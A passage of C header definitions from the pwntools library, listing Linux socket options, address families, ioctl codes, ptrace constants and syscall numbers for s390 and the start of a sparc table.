S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FILE 0 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept4 364 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 278 #define SYS_adjtimex 124 #define SYS_afs_syscall 137 #define SYS_alarm 27 #define SYS_bdflush 134 #define SYS_bind 361 #define SYS_bpf 351 #define SYS_brk 45 #define SYS_capget 184 #define SYS_capset 185 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 212 #define SYS_chroot 61 #define SYS_clock_adjtime 337 #define SYS_clock_getres (254+7) #define SYS_clock_gettime (254+6) #define SYS_clock_nanosleep (254+8) #define SYS_clock_settime (254+5) #define SYS_clone 120 #define SYS_clone3 435 #define SYS_close 6 #define SYS_connect 362 #define SYS_copy_file_range 375 #define SYS_creat 8 #define SYS_create_module 127 #define SYS_delete_module 129 #define SYS_dup 41 #define SYS_dup2 63 #define SYS_dup3 326 #define SYS_epoll_create 249 #define SYS_epoll_create1 327 #define SYS_epoll_ctl 250 #define SYS_epoll_pwait 312 #define SYS_epoll_wait 251 #define SYS_eventfd 318 #define SYS_eventfd2 323 #define SYS_execve 11 #define SYS_execveat 354 #define SYS_exit 1 #define SYS_exit_group 248 #define SYS_faccessat 300 #define SYS_fadvise64 253 #define SYS_fallocate 314 #define SYS_fanotify_init 332 #define SYS_fanotify_mark 333 #define SYS_fchdir 133 #define SYS_fchmod 94 #define SYS_fchmodat 299 #define SYS_fchown 207 #define SYS_fchownat 291 #define SYS_fcntl 55 #define SYS_fdatasync 148 #define SYS_fgetxattr 229 #define SYS_finit_module 344 #define SYS_flistxattr 232 #define SYS_flock 143 #define SYS_fork 2 #define SYS_fremovexattr 235 #define SYS_fsconfig 431 #define SYS_fsetxattr 226 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 108 #define SYS_fstatfs 100 #define SYS_fstatfs64 266 #define SYS_fsync 118 #define SYS_ftruncate 93 #define SYS_futex 238 #define SYS_futimesat 292 #define SYS_getcpu 311 #define SYS_getcwd 183 #define SYS_getdents 141 #define SYS_getdents64 220 #define SYS_getegid 202 #define SYS_geteuid 201 #define SYS_getgid 200 #define SYS_getgroups 205 #define SYS_getitimer 105 #define SYS_get_kernel_syms 130 #define SYS_get_mempolicy 269 #define SYS_getpeername 368 #define SYS_getpgid 132 #define SYS_getpgrp 65 #define SYS_getpid 20 #define SYS_getpmsg 188 #define SYS_getppid 64 #define SYS_getpriority 96 #define SYS_getrandom 349 #define SYS_getresgid 211 #define SYS_getresuid 209 #define SYS_getrlimit 191 #define SYS_get_robust_list 305 #define SYS_getrusage 77 #define SYS_getsid 147 #define SYS_getsockname 367 #define SYS_getsockopt 365 #define SYS_gettid 236 #define SYS_gettimeofday 78 #define SYS_getuid 199 #define SYS_getxattr 227 #define SYS_idle 112 #define SYS_init_module 128 #define SYS_inotify_add_watch 285 #define SYS_inotify_init 284 #define SYS_inotify_init1 324 #define SYS_inotify_rm_watch 286 #define SYS_io_cancel 247 #define SYS_ioctl 54 #define SYS_io_destroy 244 #define SYS_io_getevents 245 #define SYS_io_pgetevents 382 #define SYS_ioprio_get 283 #define SYS_ioprio_set 282 #define SYS_io_setup 243 #define SYS_io_submit 246 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 117 #define SYS_kcmp 343 #define SYS_kexec_file_load 381 #define SYS_kexec_load 277 #define SYS_keyctl 280 #define SYS_kill 37 #define SYS_lchown 198 #define SYS_lgetxattr 228 #define SYS_link 9 #define SYS_linkat 296 #define SYS_listen 363 #define SYS_listxattr 230 #define SYS_llistxattr 231 #define SYS_lookup_dcookie 110 #define SYS_lremovexattr 234 #define SYS_lseek 19 #define SYS_lsetxattr 225 #define SYS_lstat 107 #define SYS_madvise 219 #define SYS_mbind 268 #define SYS_membarrier 356 #define SYS_memfd_create 350 #define SYS_migrate_pages 287 #define SYS_mincore 218 #define SYS_mkdir 39 #define SYS_mkdirat 289 #define SYS_mknod 14 #define SYS_mknodat 290 #define SYS_mlock 150 #define SYS_mlock2 374 #define SYS_mlockall 152 #define SYS_mmap 90 #define SYS_mount 21 #define SYS_move_mount 429 #define SYS_move_pages 310 #define SYS_mprotect 125 #define SYS_mq_getsetattr 276 #define SYS_mq_notify 275 #define SYS_mq_open 271 #define SYS_mq_timedreceive 274 #define SYS_mq_timedsend 273 #define SYS_mq_unlink 272 #define SYS_mremap 163 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 144 #define SYS_munlock 151 #define SYS_munlockall 153 #define SYS_munmap 91 #define SYS_name_to_handle_at 335 #define SYS_nanosleep 162 #define SYS_newfstatat 293 #define SYS_nfsservctl 169 #define SYS_nice 34 #define SYS_open 5 #define SYS_openat 288 #define SYS_openat2 437 #define SYS_open_by_handle_at 336 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_perf_event_open 331 #define SYS_personality 136 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 325 #define SYS_pivot_root 217 #define SYS_pkey_alloc 385 #define SYS_pkey_free 386 #define SYS_pkey_mprotect 384 #define SYS_poll 168 #define SYS_ppoll 302 #define SYS_prctl 172 #define SYS_pread64 180 #define SYS_preadv 328 #define SYS_preadv2 376 #define SYS_prlimit64 334 #define SYS_process_vm_readv 340 #define SYS_process_vm_writev 341 #define SYS_pselect6 301 #define SYS_ptrace 26 #define SYS_putpmsg 189 #define SYS_pwrite64 181 #define SYS_pwritev 329 #define SYS_pwritev2 377 #define SYS_query_module 167 #define SYS_quotactl 131 #define SYS_read 3 #define SYS_readahead 222 #define SYS_readdir 89 #define SYS_readlink 85 #define SYS_readlinkat 298 #define SYS_readv 145 #define SYS_reboot 88 #define SYS_recvfrom 371 #define SYS_recvmmsg 357 #define SYS_recvmsg 372 #define SYS_remap_file_pages 267 #define SYS_removexattr 233 #define SYS_rename 38 #define SYS_renameat 295 #define SYS_renameat2 347 #define SYS_request_key 279 #define SYS_restart_syscall 7 #define SYS_rmdir 40 #define SYS_rseq 383 #define SYS_rt_sigaction 174 #define SYS_rt_sigpending 176 #define SYS_rt_sigprocmask 175 #define SYS_rt_sigqueueinfo 178 #define SYS_rt_sigreturn 173 #define SYS_rt_sigsuspend 179 #define SYS_rt_sigtimedwait 177 #define SYS_rt_tgsigqueueinfo 330 #define SYS_s390_guarded_storage 378 #define SYS_s390_pci_mmio_read 353 #define SYS_s390_pci_mmio_write 352 #define SYS_s390_runtime_instr 342 #define SYS_s390_sthyi 380 #define SYS_sched_getaffinity 240 #define SYS_sched_getattr 346 #define SYS_sched_getparam 155 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_getscheduler 157 #define SYS_sched_rr_get_interval 161 #define SYS_sched_setaffinity 239 #define SYS_sched_setattr 345 #define SYS_sched_setparam 154 #define SYS_sched_setscheduler 156 #define SYS_sched_yield 158 #define SYS_seccomp 348 #define SYS_select 142 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop 392 #define SYS_sendfile 187 #define SYS_sendmmsg 358 #define SYS_sendmsg 370 #define SYS_sendto 369 #define SYS_setdomainname 121 #define SYS_setfsgid 216 #define SYS_setfsuid 215 #define SYS_setgid 214 #define SYS_setgroups 206 #define SYS_sethostname 74 #define SYS_setitimer 104 #define SYS_set_mempolicy 270 #define SYS_setns 339 #define SYS_setpgid 57 #define SYS_setpriority 97 #define SYS_setregid 204 #define SYS_setresgid 210 #define SYS_setresuid 208 #define SYS_setreuid 203 #define SYS_setrlimit 75 #define SYS_set_robust_list 304 #define SYS_setsid 66 #define SYS_setsockopt 366 #define SYS_set_tid_address 252 #define SYS_settimeofday 79 #define SYS_setuid 213 #define SYS_setxattr 224 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 373 #define SYS_sigaction 67 #define SYS_sigaltstack 186 #define SYS_signal 48 #define SYS_signalfd 316 #define SYS_signalfd4 322 #define SYS_sigpending 73 #define SYS_sigprocmask 126 #define SYS_sigreturn 119 #define SYS_sigsuspend 72 #define SYS_socket 359 #define SYS_socketcall 102 #define SYS_socketpair 360 #define SYS_splice 306 #define SYS_stat 106 #define SYS_statfs 99 #define SYS_statfs64 265 #define SYS_statx 379 #define SYS_swapoff 115 #define SYS_swapon 87 #define SYS_symlink 83 #define SYS_symlinkat 297 #define SYS_sync 36 #define SYS_sync_file_range 307 #define SYS_syncfs 338 #define SYS__sysctl 149 #define SYS_sysfs 135 #define SYS_sysinfo 116 #define SYS_syslog 103 #define SYS_tee 308 #define SYS_tgkill 241 #define SYS_timer_create 254 #define SYS_timer_delete (254+4) #define SYS_timerfd 317 #define SYS_timerfd_create 319 #define SYS_timerfd_gettime 321 #define SYS_timerfd_settime 320 #define SYS_timer_getoverrun (254+3) #define SYS_timer_gettime (254+2) #define SYS_timer_settime (254+1) #define SYS_times 43 #define SYS_tkill 237 #define SYS_truncate 92 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount2 52 #define SYS_uname 122 #define SYS_unlink 10 #define SYS_unlinkat 294 #define SYS_unshare 303 #define SYS_uselib 86 #define SYS_userfaultfd 355 #define SYS_ustat 62 #define SYS_utime 30 #define SYS_utimensat 315 #define SYS_utimes 313 #define SYS_vfork 190 #define SYS_vhangup 111 #define SYS_vmsplice 309 #define SYS_wait4 114 #define SYS_waitid 281 #define SYS_write 4 #define SYS_writev 146 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/sparc.h000066400000000000000000001231261507273764500246410ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_wait4 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execv 11 #define __NR_chdir 12 #define __NR_chown 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_brk 17 #define __NR_perfctr 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_capget 21 #define __NR_capset 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_sigaltstack 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_lchown32 31 #define __NR_fchown32 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_chown32 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_stat 38 #define __NR_sendfile 39 #define __NR_lstat 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_getuid32 44 #define __NR_umount2 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_getgid32 53 #define __NR_ioctl 54 #define __NR_reboot 55 #define __NR_mmap2 56 #define __NR_symlink 57 #define __NR_readlink 58 #define __NR_execve 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_fstat 62 #define __NR_fstat64 63 #define __NR_getpagesize 64 #define __NR_msync 65 #define __NR_vfork 66 #define __NR_pread 67 #define __NR_pwrite 68 #define __NR_geteuid32 69 #define __NR_getegid32 70 #define __NR_mmap 71 #define __NR_setreuid32 72 #define __NR_munmap 73 #define __NR_mprotect 74 #define __NR_madvise 75 #define __NR_vhangup 76 #define __NR_truncate64 77 #define __NR_mincore 78 #define __NR_getgroups 79 #define __NR_setgroups 80 #define __NR_getpgrp 81 #define __NR_setgroups32 82 #define __NR_setitimer 83 #define __NR_ftruncate64 84 #define __NR_swapon 85 #define __NR_getitimer 86 #define __NR_setuid32 87 #define __NR_sethostname 88 #define __NR_setgid32 89 #define __NR_dup2 90 #define __NR_setfsuid32 91 #define __NR_fcntl 92 #define __NR_select 93 #define __NR_setfsgid32 94 #define __NR_fsync 95 #define __NR_setpriority 96 #define __NR_socket 97 #define __NR_connect 98 #define __NR_accept 99 #define __NR_getpriority 100 #define __NR_rt_sigreturn 101 #define __NR_rt_sigaction 102 #define __NR_rt_sigprocmask 103 #define __NR_rt_sigpending 104 #define __NR_rt_sigtimedwait 105 #define __NR_rt_sigqueueinfo 106 #define __NR_rt_sigsuspend 107 #define __NR_setresuid32 108 #define __NR_getresuid32 109 #define __NR_setresgid32 110 #define __NR_getresgid32 111 #define __NR_setregid32 112 #define __NR_recvmsg 113 #define __NR_sendmsg 114 #define __NR_getgroups32 115 #define __NR_gettimeofday 116 #define __NR_getrusage 117 #define __NR_getsockopt 118 #define __NR_getcwd 119 #define __NR_readv 120 #define __NR_writev 121 #define __NR_settimeofday 122 #define __NR_fchown 123 #define __NR_fchmod 124 #define __NR_recvfrom 125 #define __NR_setreuid 126 #define __NR_setregid 127 #define __NR_rename 128 #define __NR_truncate 129 #define __NR_ftruncate 130 #define __NR_flock 131 #define __NR_lstat64 132 #define __NR_sendto 133 #define __NR_shutdown 134 #define __NR_socketpair 135 #define __NR_mkdir 136 #define __NR_rmdir 137 #define __NR_utimes 138 #define __NR_stat64 139 #define __NR_sendfile64 140 #define __NR_getpeername 141 #define __NR_futex 142 #define __NR_gettid 143 #define __NR_getrlimit 144 #define __NR_setrlimit 145 #define __NR_pivot_root 146 #define __NR_prctl 147 #define __NR_pciconfig_read 148 #define __NR_pciconfig_write 149 #define __NR_getsockname 150 #define __NR_poll 153 #define __NR_getdents64 154 #define __NR_fcntl64 155 #define __NR_statfs 157 #define __NR_fstatfs 158 #define __NR_umount 159 #define __NR_sched_set_affinity 160 #define __NR_sched_get_affinity 161 #define __NR_getdomainname 162 #define __NR_setdomainname 163 #define __NR_quotactl 165 #define __NR_set_tid_address 166 #define __NR_mount 167 #define __NR_ustat 168 #define __NR_setxattr 169 #define __NR_lsetxattr 170 #define __NR_fsetxattr 171 #define __NR_getxattr 172 #define __NR_lgetxattr 173 #define __NR_getdents 174 #define __NR_setsid 175 #define __NR_fchdir 176 #define __NR_fgetxattr 177 #define __NR_listxattr 178 #define __NR_llistxattr 179 #define __NR_flistxattr 180 #define __NR_removexattr 181 #define __NR_lremovexattr 182 #define __NR_sigpending 183 #define __NR_query_module 184 #define __NR_setpgid 185 #define __NR_fremovexattr 186 #define __NR_tkill 187 #define __NR_exit_group 188 #define __NR_uname 189 #define __NR_init_module 190 #define __NR_personality 191 #define __NR_remap_file_pages 192 #define __NR_epoll_create 193 #define __NR_epoll_ctl 194 #define __NR_epoll_wait 195 #define __NR_getppid 197 #define __NR_sigaction 198 #define __NR_sgetmask 199 #define __NR_ssetmask 200 #define __NR_sigsuspend 201 #define __NR_oldlstat 202 #define __NR_uselib 203 #define __NR_readdir 204 #define __NR_readahead 205 #define __NR_socketcall 206 #define __NR_syslog 207 #define __NR_lookup_dcookie 208 #define __NR_fadvise64 209 #define __NR_fadvise64_64 210 #define __NR_tgkill 211 #define __NR_waitpid 212 #define __NR_swapoff 213 #define __NR_sysinfo 214 #define __NR_ipc 215 #define __NR_sigreturn 216 #define __NR_clone 217 #define __NR_adjtimex 219 #define __NR_sigprocmask 220 #define __NR_create_module 221 #define __NR_delete_module 222 #define __NR_get_kernel_syms 223 #define __NR_getpgid 224 #define __NR_bdflush 225 #define __NR_sysfs 226 #define __NR_afs_syscall 227 #define __NR_setfsuid 228 #define __NR_setfsgid 229 #define __NR__newselect 230 #define __NR_time 231 #define __NR_stime 233 #define __NR_statfs64 234 #define __NR_fstatfs64 235 #define __NR__llseek 236 #define __NR_mlock 237 #define __NR_munlock 238 #define __NR_mlockall 239 #define __NR_munlockall 240 #define __NR_sched_setparam 241 #define __NR_sched_getparam 242 #define __NR_sched_setscheduler 243 #define __NR_sched_getscheduler 244 #define __NR_sched_yield 245 #define __NR_sched_get_priority_max 246 #define __NR_sched_get_priority_min 247 #define __NR_sched_rr_get_interval 248 #define __NR_nanosleep 249 #define __NR_mremap 250 #define __NR__sysctl 251 #define __NR_getsid 252 #define __NR_fdatasync 253 #define __NR_nfsservctl 254 #define __NR_aplib 255 #define __NR_clock_settime 256 #define __NR_clock_gettime 257 #define __NR_clock_getres 258 #define __NR_clock_nanosleep 259 #define __NR_sched_getaffinity 260 #define __NR_sched_setaffinity 261 #define __NR_timer_settime 262 #define __NR_timer_gettime 263 #define __NR_timer_getoverrun 264 #define __NR_timer_delete 265 #define __NR_timer_create 266 #define __NR_io_setup 268 #define __NR_io_destroy 269 #define __NR_io_submit 270 #define __NR_io_cancel 271 #define __NR_io_getevents 272 #define __NR_mq_open 273 #define __NR_mq_unlink 274 #define __NR_mq_timedsend 275 #define __NR_mq_timedreceive 276 #define __NR_mq_notify 277 #define __NR_mq_getsetattr 278 #define __NR_waitid 279 #define __NR_sys_setaltroot 280 #define __NR_add_key 281 #define __NR_request_key 282 #define __NR_keyctl 283 #define __NR_openat 284 #define __NR_mkdirat 285 #define __NR_mknodat 286 #define __NR_fchownat 287 #define __NR_futimesat 288 #define __NR_fstatat64 289 #define __NR_unlinkat 290 #define __NR_renameat 291 #define __NR_linkat 292 #define __NR_symlinkat 293 #define __NR_readlinkat 294 #define __NR_fchmodat 295 #define __NR_faccessat 296 #define __NR_pselect6 297 #define __NR_ppoll 298 #define __NR_unshare 299 #define __NR_set_robust_list 300 #define __NR_get_robust_list 